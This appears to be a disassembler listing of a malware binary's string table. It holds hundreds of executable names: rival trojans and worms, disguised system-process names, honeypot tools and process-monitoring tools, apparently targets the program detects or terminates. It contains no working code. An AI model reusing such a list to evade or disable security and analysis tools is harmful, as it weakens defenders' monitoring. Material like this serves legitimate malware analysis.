aOmfglol_exe	db 'OMFGLOL.EXE',0      ; DATA XREF: .text:00448640o
aDoor_exe	db 'DOOR.EXE',0         ; DATA XREF: .text:0044863Co
		align 4
aBd_exe		db 'BD.EXE',0           ; DATA XREF: .text:00448638o
		align 10h
aSub7_exe	db 'SUB7.EXE',0         ; DATA XREF: .text:00448634o
		align 4
aTrojan_exe	db 'TROJAN.EXE',0       ; DATA XREF: .text:00448630o
		align 4
aHoney_exe	db 'HONEY.EXE',0        ; DATA XREF: .text:0044862Co
		align 4
aRoo32_exe	db 'ROO32.EXE',0        ; DATA XREF: .text:00448628o
		align 10h
aRoo_exe	db 'ROO.EXE',0          ; DATA XREF: .text:00448624o
aSysd32_exe	db 'SYSD32.EXE',0       ; DATA XREF: .text:00448620o
		align 4
aAntibotty_exe	db 'ANTIBOTTY.EXE',0    ; DATA XREF: .text:0044861Co
		align 4
aSelebek_exe	db 'SELEBEK.EXE',0      ; DATA XREF: .text:00448618o
aSebek_exe	db 'SEBEK.EXE',0        ; DATA XREF: .text:00448614o
		align 4
aHoneywall_exe	db 'HONEYWALL.EXE',0    ; DATA XREF: .text:00448610o
		align 4
aHoneyd_exe	db 'HONEYD.EXE',0       ; DATA XREF: .text:0044860Co
		align 4
aVirus32_exe	db 'VIRUS32.EXE',0      ; DATA XREF: .text:00448608o
aVirus_exe	db 'VIRUS.EXE',0        ; DATA XREF: .text:00448604o
		align 10h
aTq_exe		db 'TQ.EXE',0           ; DATA XREF: .text:00448600o
		align 4
aBeast_exe	db 'BEAST.EXE',0        ; DATA XREF: .text:004485FCo
		align 4
aAcc3pt_exe	db 'ACC3PT.EXE',0       ; DATA XREF: .text:004485F8o
		align 10h
aMykralor_exe	db 'MYKRALOR.EXE',0     ; DATA XREF: .text:004485F4o
		align 10h
aKralor_exehaxo	db 'KRALOR.EXEHAXOR.EXE',0 ; DATA XREF: .text:004485F0o
aWinslave_exe	db 'WINSLAVE.EXE',0     ; DATA XREF: .text:004485ECo
		align 4
aSlave32_exe	db 'SLAVE32.EXE',0      ; DATA XREF: .text:004485E8o
aSlave_exe	db 'SLAVE.EXE',0        ; DATA XREF: .text:004485E4o
		align 4
aWinmaster_exe	db 'WINMASTER.EXE',0    ; DATA XREF: .text:004485E0o
		align 4
aDftpd_exe	db 'DFTPD.EXE',0        ; DATA XREF: .text:004485DCo
		align 4
aTemp_exe	db 'TEMP.EXE',0         ; DATA XREF: .text:004485D8o
		align 4
aStub_exe	db 'STUB.EXE',0         ; DATA XREF: .text:004485D4o
		align 10h
aWrapper_exe	db 'WRAPPER.EXE',0      ; DATA XREF: .text:004485D0o
aRdr32_exe	db 'RDR32.EXE',0        ; DATA XREF: .text:004485CCo
		align 4
aCiao_exe	db 'CIAO.EXE',0         ; DATA XREF: .text:004485C8o
		align 4
aXtc_exe	db 'XTC.EXE',0          ; DATA XREF: .text:004485C4o
aWsg32_exe	db 'WSG32.EXE',0        ; DATA XREF: .text:004485C0o
					; .text:004488D4o
		align 4
aRadmin22_exe	db 'RADMIN22.EXE',0     ; DATA XREF: .text:004485BCo
		align 4
aRadmin21_exe	db 'RADMIN21.EXE',0     ; DATA XREF: .text:004485B8o
		align 4
aRview_exe	db 'RVIEW.EXE',0        ; DATA XREF: .text:004485B4o
		align 4
aNi_exe		db 'NI.EXE',0           ; DATA XREF: .text:004485B0o
		align 4
aTaskhider_exe	db 'TASKHIDER.EXE',0    ; DATA XREF: .text:004485ACo
		align 4
aMswin32	db 'MSWIN32',0          ; DATA XREF: .text:004485A4o
aFoods_exe	db 'FOODS.EXE',0        ; DATA XREF: .text:004485A0o
		align 10h
aPostcard_exe	db 'POSTCARD.EXE',0     ; DATA XREF: .text:0044859Co
		align 10h
aMsdev32_exe	db 'MSDEV32.EXE',0      ; DATA XREF: .text:00448598o
aRun0nce_exe	db 'RUN0NCE.EXE',0      ; DATA XREF: .text:00448594o
aSpools32_exe	db 'SPOOLS32.EXE',0     ; DATA XREF: .text:00448590o
		align 4
aSpool32_exe	db 'SPOOL32.EXE',0      ; DATA XREF: .text:0044858Co
aCrss32_exe	db 'CRSS32.EXE',0       ; DATA XREF: .text:00448588o
		align 10h
aIexploree_exe	db 'IEXPLOREE.EXE',0    ; DATA XREF: .text:00448584o
		align 10h
aQq_exe		db 'QQ.EXE',0           ; DATA XREF: .text:00448580o
		align 4
aWindows_update	db 'WINDOWS_UPDATER01.EXE',0 ; DATA XREF: .text:0044857Co
		align 10h
aAddiq32_exe	db 'ADDIQ32.EXE',0      ; DATA XREF: .text:00448574o
aSysinfo_exe	db 'SYSINFO.EXE',0      ; DATA XREF: .text:00448570o
aWuamkoppnp_exe	db 'WUAMKOPPNP.EXE',0   ; DATA XREF: .text:00448568o
		align 4
aScrh0st_exe	db 'SCRH0ST.EXE',0      ; DATA XREF: .text:00448564o
aSvch0st32_exe	db 'SVCH0ST32.EXE',0    ; DATA XREF: .text:00448560o
		align 4
aSvhosts_exe	db 'SVHOSTS.EXE',0      ; DATA XREF: .text:0044855Co
aSvhost_exe	db 'SVHOST.EXE',0       ; DATA XREF: .text:00448558o
		align 4
aIexpl0re_exe	db 'IEXPL0RE.EXE',0     ; DATA XREF: .text:00448550o
		align 4
aSvc_exe	db 'SVC.EXE',0          ; DATA XREF: .text:0044854Co
					; .text:004488F8o
aZf_exe		db 'ZF.EXE',0           ; DATA XREF: .text:00448544o
		align 4
aZfr_exe	db 'ZFR.EXE',0          ; DATA XREF: .text:00448540o
aWins32_exe	db 'WINS32.EXE',0       ; DATA XREF: .text:0044853Co
		align 10h
aWuamgre_exe	db 'WUAMGRE.EXE',0      ; DATA XREF: .text:00448538o
aScrhost32_exe	db 'SCRHOST32.EXE',0    ; DATA XREF: .text:00448530o
		align 4
aSassere_exe	db 'SASSERE.EXE',0      ; DATA XREF: .text:0044852Co
aSasser_exe	db 'SASSER.EXE',0       ; DATA XREF: .text:00448528o
		align 4
aBlast_exe	db 'BLAST.EXE',0        ; DATA XREF: .text:00448524o
		align 10h
aMsblast_exe	db 'MSBLAST.EXE',0      ; DATA XREF: .text:00448520o
aHiderun_exe	db 'HIDERUN.EXE',0      ; DATA XREF: .text:00448510o
aTcpshell_exe	db 'TCPSHELL.EXE',0     ; DATA XREF: .text:00448508o
		align 4
aXssh_exe	db 'XSSH.EXE',0         ; DATA XREF: .text:00448504o
		align 4
aIcmd_exe	db 'ICMD.EXE',0         ; DATA XREF: .text:00448500o
					; .text:00448668o
		align 10h
aFtpit_exe	db 'FTPIT.EXE',0        ; DATA XREF: .text:004484FCo
		align 4
aNaab_exe	db 'NAAB.EXE',0         ; DATA XREF: .text:004484F8o
		align 4
aPusu_exe	db 'PUSU.EXE',0         ; DATA XREF: .text:004484F4o
		align 4
aTbar_exe	db 'TBAR.EXE',0         ; DATA XREF: .text:004484F0o
		align 10h
aArabian_exe	db 'ARABIAN.EXE',0      ; DATA XREF: .text:004484ECo
aArabz_exe	db 'ARABZ.EXE',0        ; DATA XREF: .text:004484E8o
		align 4
aDgjdjg_exe	db 'DGJDJG.EXE',0       ; DATA XREF: .text:004484E4o
		align 4
aOooo_exe	db 'OOOO.EXE',0         ; DATA XREF: .text:004484E0o
		align 10h
aOoooo_exe	db 'OOOOO.EXE',0        ; DATA XREF: .text:004484DCo
		align 4
aOp_exe		db 'OP.EXE',0           ; DATA XREF: .text:004484D8o
		align 4
a2pac_exe	db '2PAC.EXE',0         ; DATA XREF: .text:004484D4o
		align 10h
aLogix_exe	db 'LOGIX.EXE',0        ; DATA XREF: .text:004484D0o
		align 4
aCash7oc_jpg	db 'CASH7OC.JPG',0      ; DATA XREF: .text:004484CCo
a0cash_exe	db '0CASH.EXE',0        ; DATA XREF: .text:004484C8o
		align 4
aCash_exe	db 'CASH.EXE',0         ; DATA XREF: .text:004484C4o
		align 10h
aAoautoupdatena	db 'AOAUTOUPDATENAV.EXE',0 ; DATA XREF: .text:004484C0o
aXdcc_install_e	db 'XDCC_INSTALL.EXEDD.EXE',0 ; DATA XREF: .text:004484BCo
		align 4
aNetworkactivpi	db 'NETWORKACTIVPIAFCTMV1.5.EXE',0 ; DATA XREF: .text:004484B8o
aPexplorer_exe	db 'PEXPLORER.EXE',0    ; DATA XREF: .text:004484B4o
		align 4
aProcdump32_exe	db 'PROCDUMP32.EXE',0   ; DATA XREF: .text:004484B0o
		align 4
aProcdump_exe	db 'PROCDUMP.EXE',0     ; DATA XREF: .text:004484ACo
		align 4
aTlist_exe	db 'TLIST.EXE',0        ; DATA XREF: .text:004484A8o
		align 4
aFport_exe	db 'FPORT.EXE',0        ; DATA XREF: .text:004484A4o
		align 10h
aFilemon_exe	db 'FILEMON.EXE',0      ; DATA XREF: .text:004484A0o
aPortmon_exe	db 'PORTMON.EXE',0      ; DATA XREF: .text:0044849Co
aProcexp_exe	db 'PROCEXP.EXE',0      ; DATA XREF: .text:00448498o
aRegmon_exe	db 'REGMON.EXE',0       ; DATA XREF: .text:00448494o
		align 10h
aWinsniff_exe	db 'WINSNIFF.EXE',0     ; DATA XREF: .text:00448490o
		align 10h
aHostmon_exe	db 'HOSTMON.EXE',0      ; DATA XREF: .text:0044848Co
aSharemon_exe	db 'SHAREMON.EXE',0     ; DATA XREF: .text:00448488o
		align 4
aTcpstats_exe	db 'TCPSTATS.EXE',0     ; DATA XREF: .text:00448484o
		align 4
aTcpstat_exe	db 'TCPSTAT.EXE',0      ; DATA XREF: .text:00448480o
aTcpmon_exe	db 'TCPMON.EXE',0       ; DATA XREF: .text:0044847Co
		align 4
aTcpdump_exe	db 'TCPDUMP.EXE',0      ; DATA XREF: .text:00448478o
aTcpviewpro_exe	db 'TCPVIEWPRO.EXE',0   ; DATA XREF: .text:00448474o
		align 10h
aTcpview_exe	db 'TCPVIEW.EXE',0      ; DATA XREF: .text:00448470o
aZz_exe		db 'ZZ.EXE',0           ; DATA XREF: .text:0044846Co
		align 4
aDbot_exe	db 'DBOT.EXE',0         ; DATA XREF: .text:00448468o
		align 10h
aHbot_exe	db 'HBOT.EXE',0         ; DATA XREF: .text:00448464o
		align 4
aA_bat		db 'A.BAT',0            ; DATA XREF: .text:00448460o
		align 4
aAg_exe		db 'AG.EXE',0           ; DATA XREF: .text:0044845Co
					; .text:0044872Co
		align 4
aRundil_exe	db 'RUNDIL.EXE',0       ; DATA XREF: .text:00448454o
		align 4
aWinpooch_exe	db 'WINPOOCH.EXE',0     ; DATA XREF: .text:00448450o
		align 4
aWinmpat_exe	db 'WINMPAT.EXE',0      ; DATA XREF: .text:00448448o
aMsssmsngr6417_	db 'MSSSMSNGR6417.EXE',0 ; DATA XREF: .text:00448444o
		align 4
aWaucult_exe	db 'WAUCULT.EXE',0      ; DATA XREF: .text:00448440o
aJswtss_exe	db 'JSWTSS.EXE',0       ; DATA XREF: .text:0044843Co
		align 10h
aSvcvhost_exe	db 'SVCVHOST.EXE',0     ; DATA XREF: .text:00448438o
		align 10h
aRp5_exe	db 'RP5.EXE',0          ; DATA XREF: .text:00448434o
aBsdmpldrvr642_	db 'BSDMPLDRVR642.EXE',0 ; DATA XREF: .text:00448430o
		align 4
aMyhost_exe	db 'MYHOST.EXE',0       ; DATA XREF: .text:0044842Co
		align 4
aMswins_exe	db 'MSWINS.EXE',0       ; DATA XREF: .text:00448428o
		align 4
aWindowsvista_e	db 'WINDOWSVISTA.EXE',0 ; DATA XREF: .text:00448424o
		align 4
aQkkku_exe	db 'QKKKU.EXE',0        ; DATA XREF: .text:00448420o
		align 4
aMessengerr_exe	db 'MESSENGERR.EXE',0   ; DATA XREF: .text:0044841Co
		align 4
aEraseme_exe	db 'ERASEME.EXE',0      ; DATA XREF: .text:00448418o
aTskmagr_exe	db 'TSKMAGR.EXE',0      ; DATA XREF: .text:00448414o
aCmh_exe	db 'CMH.EXE',0          ; DATA XREF: .text:00448410o
aSmsc_exe	db 'SMSC.EXE',0         ; DATA XREF: .text:0044840Co
		align 10h
aQtask_exe	db 'QTASK.EXE',0        ; DATA XREF: .text:00448408o
		align 4
aWuaumqr1_exe	db 'WUAUMQR1.EXE',0     ; DATA XREF: .text:00448404o
		align 4
aWinlogin_exe	db 'WINLOGIN.EXE',0     ; DATA XREF: .text:00448400o
		align 4
aInternet_exe	db 'INTERNET.EXE',0     ; DATA XREF: .text:004483FCo
		align 4
aCtfmom_exe	db 'CTFMOM.EXE',0       ; DATA XREF: .text:004483F4o
		align 4
aWindowantasdiv	db 'WINDOWANTASDIVRI.EXE',0 ; DATA XREF: .text:004483F0o
		align 10h
aSchost_exe	db 'SCHOST.EXE',0       ; DATA XREF: .text:004483ECo
		align 4
aNewbot_exe	db 'NEWBOT.EXE',0       ; DATA XREF: .text:004483E8o
		align 4
aIi_exe		db 'II.EXE',0           ; DATA XREF: .text:004483E4o
		align 10h
aMssdev_exe	db 'MSSDEV.EXE',0       ; DATA XREF: .text:004483E0o
		align 4
aIshost_exe	db 'ISHOST.EXE',0       ; DATA XREF: .text:004483DCo
		align 4
aIsmini_exe	db 'ISMINI.EXE',0       ; DATA XREF: .text:004483D8o
		align 4
aNl210_bat	db 'NL210.BAT',0
		align 10h
aWinupdtsrv_exe	db 'WINUPDTSRV.EXE',0
		align 10h
aMsn_update_exe	db 'MSN_UPDATE.EXE',0
		align 10h
aSysmonxp_exe	db 'SYSMONXP.EXE',0
		align 10h
aSvcdata_exe	db 'SVCDATA.EXE',0
aReg32_exe	db 'REG32.EXE',0
		align 4
aDll32_exe	db 'DLL32.EXE',0
		align 4
aIexplores_exe	db 'IEXPLORES.EXE',0
		align 4
aSusp_exe	db 'SUSP.EXE',0
		align 10h
aSpool_exe	db 'SPOOL.EXE',0
		align 4
a568_exe	db '568.EXE',0
aCcupdate_exe	db 'CCUPDATE.EXE',0
		align 4
aLoadadv642_exe	db 'LOADADV642.EXE',0
		align 4
aSsc_exe	db 'SSC.EXE',0
aVcmon_exe	db 'VCMON.EXE',0
		align 4
aMstskmgr_exe	db 'MSTSKMGR.EXE',0
		align 4
aServlces_exe	db 'SERVLCES.EXE',0
		align 4
aServlce_exe	db 'SERVLCE.EXE',0
aMslaugh_exe	db 'MSLAUGH.EXE',0
aMsnmgr12_exe	db 'MSNMGR12.EXE',0
		align 10h
aWinform32_exe	db 'WINFORM32.EXE',0
		align 10h
aDllx32_exe	db 'DLLX32.EXE',0
		align 4
aRp_exe		db 'RP.EXE',0
		align 4
aGecko_exe	db 'GECKO.EXE',0
		align 10h
aReptile_exe	db 'REPTILE.EXE',0
aLrsys_exe	db 'LRSYS.EXE',0
		align 4
aSrshost_exe	db 'SRSHOST.EXE',0
aMsdos_exe	db 'MSDOS.EXE',0
		align 10h
aWumgre_exe	db 'WUMGRE.EXE',0
		align 4
aWumgr_exe	db 'WUMGR.EXE',0
		align 4
aD3dupdate_exe	db 'D3DUPDATE.EXE',0
		align 4
aI11r54n4_exe	db 'I11R54N4.EXE',0
		align 4
aBbeagle32_exe	db 'BBEAGLE32.EXE',0
		align 4
aBbeagle2_exe	db 'BBEAGLE2.EXE',0
		align 4
aBbeagle_exe	db 'BBEAGLE.EXE',0      ; DATA XREF: .text:00448340o
aBeagle_exe	db 'BEAGLE.EXE',0       ; DATA XREF: .text:0044833Co
		align 10h
aSsate_exe	db 'SSATE.EXE',0        ; DATA XREF: .text:00448338o
		align 4
aVhost_exe	db 'VHOST.EXE',0        ; DATA XREF: .text:00448334o
		align 4
aIeserver_exe	db 'IESERVER.EXE',0     ; DATA XREF: .text:00448330o
		align 4
aDsrss_exe	db 'DSRSS.EXE',0        ; DATA XREF: .text:0044832Co
		align 4
aSvvosts_exe	db 'SVVOSTS.EXE',0      ; DATA XREF: .text:00448328o
aUpdat_exe	db 'UPDAT.EXE',0        ; DATA XREF: .text:00448324o
		align 4
aServicesmsi_ex	db 'SERVICESMSI.EXE',0  ; DATA XREF: .text:00448320o
aSpoolmgr_exe	db 'SPOOLMGR.EXE',0     ; DATA XREF: .text:0044831Co
		align 4
aWinhelp_exe_0	db 'WINHELP.EXE',0      ; DATA XREF: .text:00448318o
					; .text:00448770o
aNttdll_exe	db 'NTTDLL.EXE',0       ; DATA XREF: .text:00448314o
		align 4
aIrun4_exe	db 'IRUN4.EXE',0        ; DATA XREF: .text:00448310o
		align 10h
aSys_xp_exe	db 'SYS_XP.EXE',0       ; DATA XREF: .text:0044830Co
		align 4
aSvcost_exe	db 'SVCOST.EXE',0       ; DATA XREF: .text:00448308o
					; .text:00448554o
		align 4
aWinusb32_exe	db 'WINUSB32.EXE',0     ; DATA XREF: .text:00448304o
		align 4
aWinusb_exe	db 'WINUSB.EXE',0       ; DATA XREF: .text:00448300o
		align 4
aWinspooler_exe	db 'WINSPOOLER.EXE',0   ; DATA XREF: .text:004482FCo
		align 4
aWinsock_exe	db 'WINSOCK.EXE',0      ; DATA XREF: .text:004482F8o
aIpcmgr_exe	db 'IPCMGR.EXE',0       ; DATA XREF: .text:004482F4o
		align 4
aWuamgrd3_exe	db 'WUAMGRD3.EXE',0     ; DATA XREF: .text:004482F0o
		align 4
aWuamgrd_exe	db 'WUAMGRD.EXE',0      ; DATA XREF: .text:004482ECo
					; .text:00448534o
aWuamgr_exe	db 'WUAMGR.EXE',0       ; DATA XREF: .text:004482E8o
		align 4
aLansas_exe	db 'LANSAS.EXE',0       ; DATA XREF: .text:004482E4o
		align 10h
aXml32_exe	db 'XML32.EXE',0        ; DATA XREF: .text:004482E0o
		align 4
aXml_exe	db 'XML.EXE',0          ; DATA XREF: .text:004482DCo
aWinz_exe	db 'WINZ.EXE',0         ; DATA XREF: .text:004482D8o
		align 10h
aWinsys_exe	db 'WINSYS.EXE',0       ; DATA XREF: .text:004482D4o
		align 4
aWgavm_exe	db 'WGAVM.EXE',0
		align 4
aStdrun3_exe	db 'STDRUN3.EXE',0
aTaskdir_exe	db 'TASKDIR.EXE',0
aPmsngr_exe	db 'PMSNGR.EXE',0
		align 4
aTaskmsg_exe	db 'TASKMSG.EXE',0
aWdfmgr32_exe	db 'WDFMGR32.EXE',0
		align 4
aNotaped_exe	db 'NOTAPED.EXE',0
aCsrs_exe	db 'CSRS.EXE',0
		align 10h
aWincomm_exe	db 'WINCOMM.EXE',0
aWinocx_exe	db 'WINOCX.EXE',0
		align 4
aWinlolx_exe	db 'WINLOLX.EXE',0
aJavanet_exe	db 'JAVANET.EXE',0
aMaxd641_exe	db 'MAXD641.EXE',0
aMs_exe		db 'MS.EXE',0           ; DATA XREF: .text:00448294o
		align 4
aService_exe	db 'SERVICE.EXE',0      ; DATA XREF: .text:00448290o
aMsnlive_exe	db 'MSNLIVE.EXE',0      ; DATA XREF: .text:0044828Co
aWip_exe	db 'WIP.EXE',0          ; DATA XREF: .text:00448288o
a666_exe	db '666.EXE',0          ; DATA XREF: .text:00448284o
aMybot_exe	db 'MYBOT.EXE',0        ; DATA XREF: .text:00448280o
		align 4
aMyt0b_exe	db 'MYT0B.EXE',0        ; DATA XREF: .text:0044827Co
		align 4
aHellmsn_exe	db 'HELLMSN.EXE',0      ; DATA XREF: .text:00448278o
aFunny_pic_scr	db 'FUNNY_PIC.SCR',0    ; DATA XREF: .text:00448274o
		align 10h
aMsgm_exe	db 'MSGM.EXE',0         ; DATA XREF: .text:00448270o
		align 4
aMsgmr_exe	db 'MSGMR.EXE',0        ; DATA XREF: .text:0044826Co
		align 4
aWinpadg_exe	db 'WINPADG.EXE',0      ; DATA XREF: .text:00448268o
aHide_exe	db 'HIDE.EXE',0         ; DATA XREF: .text:00448264o
					; .text:0044851Co ...
		align 10h
aHidden_exe	db 'HIDDEN.EXE',0       ; DATA XREF: .text:00448260o
					; .text:00448518o
		align 4
aHidden32_exe	db 'HIDDEN32.EXE',0     ; DATA XREF: .text:0044825Co
					; .text:0044850Co ...
		align 4
aHiddenrun_exe	db 'HIDDENRUN.EXE',0    ; DATA XREF: .text:00448258o
		align 4
aWindowsp_exe	db 'WINDOWSP.EXE',0     ; DATA XREF: .text:00448254o
		align 4
aWinsystem_exe	db 'WINSYSTEM.EXE',0    ; DATA XREF: .text:0044824Co
		align 4
aSystem32_exe	db 'SYSTEM32.EXE',0     ; DATA XREF: .text:00448248o
					; .text:0044890Co
		align 4
aSystem_exe	db 'SYSTEM.EXE',0       ; DATA XREF: .text:00448244o
					; .text:00448908o
		align 4
aWindow_exe	db 'WINDOW.EXE',0       ; DATA XREF: .text:0044823Co
		align 4
aWindows_exe	db 'WINDOWS.EXE',0      ; DATA XREF: .text:00448238o
aSaveuninst_exe	db 'SAVEUNINST.EXE',0   ; DATA XREF: .text:00448234o
		align 10h
aWups_exe	db 'WUPS.EXE',0         ; DATA XREF: .text:00448230o
		align 4
aSvcshoter_exe	db 'SVCSHOTER.EXE',0    ; DATA XREF: .text:0044822Co
		align 4
aWinmap_exe	db 'WINMAP.EXE',0       ; DATA XREF: .text:00448228o
		align 4
aMydocs_exe	db 'MYDOCS.EXE',0       ; DATA XREF: .text:00448224o
		align 4
aWinb_exe	db 'WINB.EXE',0         ; DATA XREF: .text:00448220o
		align 10h
aWinnamps_exe	db 'WINNAMPS.EXE',0     ; DATA XREF: .text:0044821Co
		align 10h
aCmrss_dll_exe	db 'CMRSS.DLL.EXE',0    ; DATA XREF: .text:00448218o
		align 10h
aWin_exe	db 'WIN.EXE',0          ; DATA XREF: .text:00448214o
aWin32_exe	db 'WIN32.EXE',0        ; DATA XREF: .text:00448210o
		align 4
aWinis_exe	db 'WINIS.EXE',0        ; DATA XREF: .text:0044820Co
		align 10h
aMsnmsg_exe	db 'MSNMSG.EXE',0       ; DATA XREF: .text:00448208o
		align 4
aMsnmsgs_exe	db 'MSNMSGS.EXE',0      ; DATA XREF: .text:00448204o
aXpfirewall_exe	db 'XPFIREWALL.EXE',0   ; DATA XREF: .text:00448200o
		align 4
aWfdmgr_exe	db 'WFDMGR.EXE',0       ; DATA XREF: .text:004481FCo
		align 4
aTaskm0n_exe	db 'TASKM0N.EXE',0      ; DATA XREF: .text:004481F8o
aTaskgmr_exe	db 'TASKGMR.EXE',0      ; DATA XREF: .text:004481F4o
aWincfg32_exe	db 'WINCFG32.EXE',0     ; DATA XREF: .text:004481F0o
		align 4
aSyscfg32_exe	db 'SYSCFG32.EXE',0     ; DATA XREF: .text:004481ECo
		align 4
aSyscfg16_exe	db 'SYSCFG16.EXE',0     ; DATA XREF: .text:004481E8o
		align 4
aSystra_exe	db 'SYSTRA.EXE',0       ; DATA XREF: .text:004481E4o
		align 4
aRpc32_exe	db 'RPC32.EXE',0        ; DATA XREF: .text:004481E0o
		align 4
aMsmgrxp_exe	db 'MSMGRXP.EXE',0      ; DATA XREF: .text:004481DCo
aSuhoy_exe	db 'SUHOY.EXE',0        ; DATA XREF: .text:004481D4o
		align 4
aPicx_exe	db 'PICX.EXE',0         ; DATA XREF: .text:004481D0o
		align 4
aMathchk_exe	db 'MATHCHK.EXE',0      ; DATA XREF: .text:004481CCo
aRundll16_exe	db 'RUNDLL16.EXE',0     ; DATA XREF: .text:004481C8o
		align 4
aMsserrv32_exe	db 'MSSERRV32.EXE',0    ; DATA XREF: .text:004481C0o
		align 4
aPopwin_exe	db 'POPWIN.EXE',0       ; DATA XREF: .text:004481BCo
		align 10h
aRundii32_exe	db 'RUNDII32.EXE',0     ; DATA XREF: .text:004481B8o
		align 10h
aCtxad_exe	db 'CTXAD.EXE',0        ; DATA XREF: .text:004481B4o
		align 4
aMshtml3_exe	db 'MSHTML3.EXE',0      ; DATA XREF: .text:004481B0o
aMshtml2_exe	db 'MSHTML2.EXE',0      ; DATA XREF: .text:004481ACo
aMshtml1_exe	db 'MSHTML1.EXE',0      ; DATA XREF: .text:004481A8o
aMshtml_exe	db 'MSHTML.EXE',0       ; DATA XREF: .text:004481A4o
		align 4
aNdrv_exe	db 'NDRV.EXE',0         ; DATA XREF: .text:004481A0o
		align 4
aTskmgr_exe	db 'TSKMGR.EXE',0       ; DATA XREF: .text:0044819Co
		align 4
aPapersrv_exe	db 'PAPERSRV.EXE',0     ; DATA XREF: .text:00448198o
		align 4
aIe7_exe	db 'IE7.EXE',0          ; DATA XREF: .text:00448194o
aIe6_exe	db 'IE6.EXE',0          ; DATA XREF: .text:00448190o
aTaskmngr32_exe	db 'TASKMNGR32.EXE',0   ; DATA XREF: .text:0044818Co
		align 4
aW32gen_exe	db 'W32GEN.EXE',0       ; DATA XREF: .text:00448188o
		align 10h
aRundll_exe	db 'RUNDLL.EXE',0       ; DATA XREF: .text:00448184o
					; .text:00448458o
		align 4
aBot_exe	db 'BOT.EXE',0          ; DATA XREF: .text:00448180o
aCrxbot_exe	db 'CRXBOT.EXE',0       ; DATA XREF: .text:0044817Co
		align 10h
aDns32_exerxbot	db 'DNS32.EXERXBOT.EXE',0 ; DATA XREF: .text:00448178o
		align 4
aDnssvc_exe	db 'DNSSVC.EXE',0       ; DATA XREF: .text:00448174o
		align 10h
aDnssrv_exe	db 'DNSSRV.EXE',0       ; DATA XREF: .text:00448170o
		align 4
aWin32update_ex	db 'WIN32UPDATE.EXE',0  ; DATA XREF: .text:0044816Co
aWinsvc_exe	db 'WINSVC.EXE',0       ; DATA XREF: .text:00448168o
		align 4
aScsrc_exe	db 'SCSRC.EXE',0        ; DATA XREF: .text:00448164o
		align 4
aWservices_exe	db 'WSERVICES.EXE',0    ; DATA XREF: .text:00448160o
		align 4
aWservice_exe	db 'WSERVICE.EXE',0     ; DATA XREF: .text:0044815Co
		align 4
aWinime_exe	db 'WINIME.EXE',0       ; DATA XREF: .text:00448158o
		align 10h
aLinewsrv_exe	db 'LINEWSRV.EXE',0     ; DATA XREF: .text:00448154o
		align 10h
aMicrosoft_exe	db 'MICROSOFT.EXE',0    ; DATA XREF: .text:00448150o
		align 10h
aServices32_exe	db 'SERVICES32.EXE',0   ; DATA XREF: .text:0044814Co
		align 10h
aWgareg_exe	db 'WGAREG.EXE',0       ; DATA XREF: .text:00448148o
		align 4
aAsn1sys_exe	db 'ASN1SYS.EXE',0      ; DATA XREF: .text:00448144o
aIiexplorer_exe	db 'IIEXPLORER.EXE',0   ; DATA XREF: .text:00448140o
		align 4
aIiexplore_exe	db 'IIEXPLORE.EXE',0    ; DATA XREF: .text:0044813Co
		align 4
aLsass_32_exe	db 'LSASS_32.EXE',0     ; DATA XREF: .text:00448138o
		align 4
aSssvhost_exe	db 'SSSVHOST.EXE',0     ; DATA XREF: .text:00448134o
		align 4
aKernel32_exe	db 'KERNEL32.EXE',0     ; DATA XREF: .text:00448130o
		align 4
aSpoolvs_exe	db 'SPOOLVS.EXE',0      ; DATA XREF: .text:0044812Co
aSpoolv_exe	db 'SPOOLV.EXE',0       ; DATA XREF: .text:00448128o
		align 10h
aMsnmsgrr_exe	db 'MSNMSGRR.EXE',0     ; DATA XREF: .text:00448124o
		align 10h
aMsmmsgr_exe	db 'MSMMSGR.EXE',0      ; DATA XREF: .text:00448120o
aMsner_exe	db 'MSNER.EXE',0        ; DATA XREF: .text:0044811Co
		align 4
aMsnupdater_exe	db 'MSNUPDATER.EXE',0   ; DATA XREF: .text:00448118o
		align 4
aMsnupdate_exe	db 'MSNUPDATE.EXE',0    ; DATA XREF: .text:00448114o
		align 4
aAlg32_exe	db 'ALG32.EXE',0        ; DATA XREF: .text:00448110o
		align 4
aInstall_sp_exe	db 'INSTALL_SP.EXE',0   ; DATA XREF: .text:0044810Co
		align 4
aTmrservice_exe	db 'TMRSERVICE.EXE',0   ; DATA XREF: .text:00448108o
		align 4
aMsnplus_exe	db 'MSNPLUS.EXE',0      ; DATA XREF: .text:00448104o
aMsmpls_exe	db 'MSMPLS.EXE',0       ; DATA XREF: .text:00448100o
		align 4
aYesbron_com	db 'YESBRON.COM',0      ; DATA XREF: .text:004480FCo
aWinlogon32_exe	db 'WINLOGON32.EXE',0   ; DATA XREF: .text:004480F8o
		align 4
aWinl0gin_exe	db 'WINL0GIN.EXE',0     ; DATA XREF: .text:004480F4o
		align 4
aWinl0gon_exe	db 'WINL0GON.EXE',0     ; DATA XREF: .text:004480F0o
		align 4
aAk_exe		db 'AK.EXE',0           ; DATA XREF: .text:004480ECo
		align 10h
aAkwid_exe	db 'AKWID.EXE',0        ; DATA XREF: .text:004480E8o
		align 4
aSyser_exe	db 'SYSER.EXE',0        ; DATA XREF: .text:004480E4o
		align 4
aWinupd_exe	db 'WINUPD.EXE',0       ; DATA XREF: .text:004480E0o
		align 4
aSys_exe	db 'SYS.EXE',0          ; DATA XREF: .text:004480DCo
aWinrpc_exe	db 'WINRPC.EXE',0       ; DATA XREF: .text:004480D8o
		align 4
aLsass32_exe	db 'LSASS32.EXE',0      ; DATA XREF: .text:004480D4o
aMsdevelop_exe	db 'MSDEVELOP.EXE',0    ; DATA XREF: .text:004480D0o
		align 4
aNetmsn_exe	db 'NETMSN.EXE',0       ; DATA XREF: .text:004480CCo
		align 10h
aWinsockx32_exe	db 'WINSOCKX32.EXE',0   ; DATA XREF: .text:004480C8o
		align 10h
aSserrvv_exe	db 'SSERRVV.EXE',0      ; DATA XREF: .text:004480C4o
aWinsys_32_exe	db 'WINSYS_32.EXE',0    ; DATA XREF: .text:004480C0o
		align 4
aSerrv_exe	db 'SERRV.EXE',0        ; DATA XREF: .text:004480BCo
		align 4
aMysvcc_exe	db 'MYSVCC.EXE',0       ; DATA XREF: .text:004480B8o
		align 4
aSpoolss_exe	db 'SPOOLSS.EXE',0      ; DATA XREF: .text:004480B4o
					; .text:0044856Co
aNtsf_exe	db 'NTSF.EXE',0         ; DATA XREF: .text:004480B0o
					; .text:00448578o
		align 4
aWks_exe	db 'WKS.EXE',0          ; DATA XREF: .text:004480A8o
aBingo_exe	db 'BINGO.EXE',0        ; DATA XREF: .text:004480A4o
		align 10h
aBingoo_exe	db 'BINGOO.EXE',0
		align 4
